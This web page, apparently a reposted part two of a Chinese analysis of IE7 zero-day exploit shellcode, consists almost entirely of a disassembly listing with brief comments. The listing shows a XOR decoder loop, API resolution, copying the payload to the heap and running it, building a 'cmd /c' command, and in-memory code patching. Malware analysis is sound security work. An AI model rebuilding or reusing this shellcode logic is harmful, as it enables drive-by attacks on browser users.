IE7 0day shellcode分析(2) -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    对应的汇编代码如下

    0A0FF9FB   58             pop    eax

    0A0FF9FC   58             pop    eax

    0A0FF9FD   33DB           xor    ebx, ebx

    0A0FF9FF   B3 1C          mov    bl, 1C

    0A0FFA01   03C3           add    eax, ebx

    0A0FFA03   31C9           xor    ecx, ecx

    0A0FFA05   66:81E9 65FA   sub    cx, 0FA65

    0A0FFA0A   8030 21        xor    byte ptr [eax], 21

    0A0FFA0D   40             inc    eax

    0A0FFA0E ^ E2 FA          loopd  short 0A0FFA0A

    0A0FFA10   E8 36030000    call   0A0FFD4B  //解析API

    0A0FFA15   68 00200000    push   2000

    0A0FFA1A   6A 00          push   0

    0A0FFA1C   FFD0           call   eax  //GlobalAlloc

    0A0FFA1E   B9 00100000    mov    ecx, 1000

    0A0FFA23   8BF8           mov    edi, eax

    0A0FFA25   EB 05          jmp    short 0A0FFA2C

    0A0FFA27   5E             pop    esi

    0A0FFA28   F3:A4          rep    movs byte ptr es:[edi], byte ptr> //把shellcode拷到全局堆中

    0A0FFA2A   FFD0           call   eax //执行全局堆中的shellcode

    0A0FFA2C   E8 F6FFFFFF    call   0A0FFA27

    0A0FFA31   E8 3D030000    call   0A0FFD73

    0A0FFA36   8BF8           mov    edi, eax

    0A0FFA38   E8 38000000    call   0A0FFA75

    0A0FFA3D   E8 4D010000    call   0A0FFB8F

    0A0FFA42   E8 46000000    call   0A0FFA8D

    0A0FFA47   E8 DB030000    call   0A0FFE27

    0A0FFA4C   8BF8           mov    edi, eax

    0A0FFA4E   E8 22000000    call   0A0FFA75

    0A0FFA53   E8 44010000    call   0A0FFB9C

    0A0FFA58   E8 30000000    call   0A0FFA8D

    0A0FFA5D   E8 89030000    call   0A0FFDEB

    0A0FFA62   8BF8           mov    edi, eax

    0A0FFA64   E8 0C000000    call   0A0FFA75

    0A0FFA69   E8 61010000    call   0A0FFBCF

    0A0FFA6E   E8 1A000000    call   0A0FFA8D

    0A0FFA73   EB 58          jmp    short 0A0FFACD

    0A0FFA75   53             push   ebx

    0A0FFA76   8BDC           mov    ebx, esp

    0A0FFA78   53             push   ebx

    0A0FFA79   6A 40          push   40

    0A0FFA7B   68 00100000    push   1000

    0A0FFA80   57             push   edi

    0A0FFA81   E8 B1020000    call   0A0FFD37

    0A0FFA86   E8 E5000000    call   0A0FFB70

    0A0FFA8B   58             pop    eax

    0A0FFA8C   C3             retn

    0A0FFA8D   53             push   ebx

    0A0FFA8E   8BDC           mov    ebx, esp

    0A0FFA90   53             push   ebx

    0A0FFA91   6A 20          push   20

    0A0FFA93   68 00100000    push   1000

    0A0FFA98   57             push   edi

    0A0FFA99   E8 99020000    call   0A0FFD37

    0A0FFA9E   E8 CD000000    call   0A0FFB70

    0A0FFAA3   58             pop    eax

    0A0FFAA4   C3             retn

    0A0FFAA5   57             push   edi

    0A0FFAA6   E8 3C040000    call   0A0FFEE7

    0A0FFAAB   8BF8           mov    edi, eax

    0A0FFAAD   33C9           xor    ecx, ecx

    0A0FFAAF   49             dec    ecx

    0A0FFAB0   33C0           xor    eax, eax

    0A0FFAB2   B0 C3          mov    al, 0C3

    0A0FFAB4   FC             cld

    0A0FFAB5   F2:AE          repne  scas byte ptr es:[edi]

    0A0FFAB7   8D47 FF        lea    eax, dword ptr [edi-1]

    0A0FFABA   5F             pop    edi

    0A0FFABB   C3             retn

    0A0FFABC   5B             pop    ebx

    0A0FFABD   3E:C607 B8     mov    byte ptr [edi], 0B8

    0A0FFAC1   3E:895F 01     mov    dword ptr [edi+1], ebx

    0A0FFAC5   66:3E:C747 05 F>mov    word ptr [edi+5], 0E0FF

    0A0FFACC   C3             retn

    0A0FFACD   E9 95040000    jmp    0A0FFF67

    0A0FFAD2   5B             pop    ebx

    0A0FFAD3   81EC 14010000  sub    esp, 114

    0A0FFAD9   8BD4           mov    edx, esp

    0A0FFADB   3E:C702 636D642>mov    dword ptr [edx], 20646D63

    0A0FFAE2   3E:C742 04 2F63>mov    dword ptr [edx+4], 2220632F

    0A0FFAEA   83C2 08        add    edx, 8

    0A0FFAED   33C0           xor    eax, eax

    0A0FFAEF   50             push   eax

    0A0FFAF0   50             push   eax

    0A0FFAF1   68 04010000    push   104

    0A0FFAF6   52             push   edx

    0A0FFAF7   53             push   ebx

    0A0FFAF8   50             push   eax

    0A0FFAF9   E8 C1030000    call   0A0FFEBF

    0A0FFAFE   FFD0           call   eax

    0A0FFB00   8BFC           mov    edi, esp

    0A0FFB02   8BC7           mov    eax, edi

    0A0FFB04   83C0 08        add    eax, 8

    0A0FFB07   3E:8A18        mov    bl, byte ptr [eax]

    0A0FFB0A   84DB           test   bl, bl

    0A0FFB0C   74 03          je     short 0A0FFB11

    0A0FFB0E   40             inc    eax

    0A0FFB0F ^ EB F6          jmp    short 0A0FFB07

    0A0FFB11   3E:C600 22     mov    byte ptr [eax], 22

    0A0FFB15   33D2           xor    edx, edx

    0A0FFB17   3E:8850 01     mov    byte ptr [eax+1], dl

    0A0FFB1B   83EC 54        sub    esp, 54

    0A0FFB1E   33C0           xor    eax, eax

    0A0FFB20   33DB           xor    ebx, ebx

    0A0FFB22   8BCC           mov    ecx, esp

    0A0FFB24   83F8 54        cmp    eax, 54

    0A0FFB27   7D 09          jge    short 0A0FFB32

    0A0FFB29   3E:891C01      mov    dword ptr [ecx+eax], ebx

    0A0FFB2D   83C0 04        add    eax, 4

    0A0FFB30 ^ EB F2          jmp    short 0A0FFB24

    0A0FFB32   8BCC           mov    ecx, esp

    0A0FFB34   8BD9           mov    ebx, ecx

    0A0FFB36   83C3 10        add    ebx, 10

    0A0FFB39   33C0           xor    eax, eax

    0A0FFB3B   3E:C743 2C 0100>mov    dword ptr [ebx+2C], 1

    0A0FFB43   51             push   ecx

    0A0FFB44   53             push   ebx

    0A0FFB45   50             push   eax

    0A0FFB46   50             push   eax

    0A0FFB47   50             push   eax

    0A0FFB48   50             push   eax

    0A0FFB49   50             push   eax

    0A0FFB4A   50             push   eax

    0A0FFB4B   57             push   edi

    0A0FFB4C   50             push   eax

    0A0FFB4D   E8 39030000    call   0A0FFE8B

    0A0FFB52   E8 19000000    call   0A0FFB70

    0A0FFB57   64:A1 04000000 mov    eax, dword ptr fs:[4]

    0A0FFB5D   8DA0 60FFFFFF  lea    esp, dword ptr [eax-A0]

    0A0FFB63   E8 37030000    call   0A0FFE9F

    0A0FFB68   33DB           xor    ebx, ebx

    0A0FFB6A   53             push   ebx

    0A0FFB6B   53             push   ebx

    0A0FFB6C   53             push   ebx

    0A0FFB6D   53             push   ebx

    0A0FFB6E   FFD0           call   eax

    0A0FFB70   8038 E8        cmp    byte ptr [eax], 0E8

    0A0FFB73   8038 E9        cmp    byte ptr [eax], 0E9

    0A0FFB76   75 0F          jnz    short 0A0FFB87

    0A0FFB78   8178 05 9090909>cmp    dword ptr [eax+5], 90909090

    0A0FFB7F   74 06          je     short 0A0FFB87

    0A0FFB81   55             push   ebp

    0A0FFB82   8BEC           mov    ebp, esp

    0A0FFB84   8D40 05        lea    eax, dword ptr [eax+5]

    0A0FFB87   FFE0           jmp    eax

    0A0FFB89   E8 2EFFFFFF    call   0A0FFABC

    0A0FFB8E   C3             retn

    0A0FFB8F   E8 28FFFFFF    call   0A0FFABC

    0A0FFB94   B8 11010480    mov    eax, 80040111

    0A0FFB99   C2 0C00        retn   0C

    0A0FFB9C   E8 1BFFFFFF    call   0A0FFABC

    0A0FFBA1   33C0           xor    eax, eax

    0A0FFBA3   50             push   eax

    0A0FFBA4   54             push   esp

    0A0FFBA5   E8 54000000    call   0A0FFBFE

    0A0FFBAA   50             push   eax

    0A0FFBAB   E8 8B020000    call   0A0FFE3B

    0A0FFBB0   FFD0           call   eax

    0A0FFBB2   36:803C24 00   cmp    byte ptr [esp], 0

    0A0FFBB7   77 0A          ja     short 0A0FFBC3

    0A0FFBB9   E8 41020000    call   0A0FFDFF

    0A0FFBBE   33FF           xor    edi, edi

    0A0FFBC0   57             push   edi

    0A0FFBC1   FFD0           call   eax

    0A0FFBC3   E8 FB010000    call   0A0FFDC3

    0A0FFBC8   68 FF000000    push   0FF

    0A0FFBCD   FFD0           call   eax

    0A0FFBCF   E8 E8FEFFFF    call   0A0FFABC

    0A0FFBD4   53             push   ebx

    0A0FFBD5   57             push   edi

    0A0FFBD6   56             push   esi

    0A0FFBD7   33C0           xor    eax, eax

    0A0FFBD9   50             push   eax

    0A0FFBDA   54             push   esp

    0A0FFBDB   E8 1E000000    call   0A0FFBFE

    0A0FFBE0   50             push   eax

    0A0FFBE1   E8 55020000    call   0A0FFE3B

    0A0FFBE6   FFD0           call   eax

    0A0FFBE8   36:803C24 00   cmp    byte ptr [esp], 0

    0A0FFBED   77 0A          ja     short 0A0FFBF9

    0A0FFBEF   E8 0B020000    call   0A0FFDFF

    0A0FFBF4   33FF           xor    edi, edi

    0A0FFBF6   57             push   edi

    0A0FFBF7   FFD0           call   eax

    0A0FFBF9   58             pop    eax

    0A0FFBFA   5E             pop    esi

    0A0FFBFB   5F             pop    edi

    0A0FFBFC   5B             pop    ebx

    0A0FFBFD   C3             retn

    0A0FFBFE   EB 02          jmp    short 0A0FFC02

    0A0FFC00   58             pop    eax

    0A0FFC01   C3             retn

    0A0FFC02   E8 F9FFFFFF    call   0A0FFC00

    0A0FFC07   56             push   esi

    0A0FFC08   57             push   edi

    0A0FFC09   83EC 08        sub    esp, 8

    0A0FFC0C   8BFC           mov    edi, esp

    0A0FFC0E   6A 08          push   8

    0A0FFC10   57             push   edi

    0A0FFC11   3E:FF77 14     push   dword ptr [edi+14]

    0A0FFC15   E8 5D020000    call   0A0FFE77

    0A0FFC1A   FFD0           call   eax

    0A0FFC1C   8BFC           mov    edi, esp

    0A0FFC1E   68 616D6500    push   656D61

    0A0FFC23   68 49454672    push   72464549

    0A0FFC28   8BF4           mov    esi, esp

    0A0FFC2A   B9 08000000    mov    ecx, 8

    0A0FFC2F   F3:A6          repe   cmps byte ptr es:[edi], byte ptr>

    0A0FFC31   75 2F          jnz    short 0A0FFC62

    0A0FFC33   6A 00          push   0

    0A0FFC35   3E:FF7424 20   push   dword ptr ds:[esp+20]

    0A0FFC3A   E8 24020000    call   0A0FFE63

    0A0FFC3F   FFD0           call   eax

    0A0FFC41   8BF8           mov    edi, eax

    0A0FFC43   E8 CB010000    call   0A0FFE13

    0A0FFC48   FFD0           call   eax

    0A0FFC4A   3BF8           cmp    edi, eax

    0A0FFC4C   74 08          je     short 0A0FFC56

    0A0FFC4E   36:8B4424 20   mov    eax, dword ptr [esp+20]

    0A0FFC53   3E:FF00        inc    dword ptr [eax]

    0A0FFC56   3E:FF7424 1C   push   dword ptr ds:[esp+1C]

    0A0FFC5B   E8 EF010000    call   0A0FFE4F

    0A0FFC60   FFD0           call   eax

    0A0FFC62   83C4 10        add    esp, 10

    0A0FFC65   5F             pop    edi

    0A0FFC66   5E             pop    esi

    0A0FFC67   B8 01000000    mov    eax, 1

    0A0FFC6C   C3             retn

    0A0FFC6D   68 6F6E0000    push   6E6F

    0A0FFC72   68 75726C6D    push   6D6C7275

    0A0FFC77   EB 15          jmp    short 0A0FFC8E

    0A0FFC79   8D4424 04      lea    eax, dword ptr [esp+4]

    0A0FFC7D   50             push   eax

    0A0FFC7E   E8 22FEFFFF    call   0A0FFAA5

    0A0FFC83   50             push   eax

    0A0FFC84   E8 4A020000    call   0A0FFED3

    0A0FFC89 ^ E9 E2FEFFFF    jmp    0A0FFB70

    0A0FFC8E   E8 E6FFFFFF    call   0A0FFC79

    0A0FFC93   83C4 08        add    esp, 8

    0A0FFC96   C3             retn

    0A0FFC97   6A 6C          push   6C

    0A0FFC99   68 6E74646C    push   6C64746E

    0A0FFC9E   EB 15          jmp    short 0A0FFCB5

    0A0FFCA0   8D4424 04      lea    eax, dword ptr [esp+4]

    0A0FFCA4   50             push   eax

    0A0FFCA5   E8 FBFDFFFF    call   0A0FFAA5

    0A0FFCAA   50             push   eax

    0A0FFCAB   E8 23020000    call   0A0FFED3

    0A0FFCB0 ^ E9 BBFEFFFF    jmp    0A0FFB70

    0A0FFCB5   E8 E6FFFFFF    call   0A0FFCA0

    0A0FFCBA   83C4 08        add    esp, 8

    0A0FFCBD   C3             retn

最新文章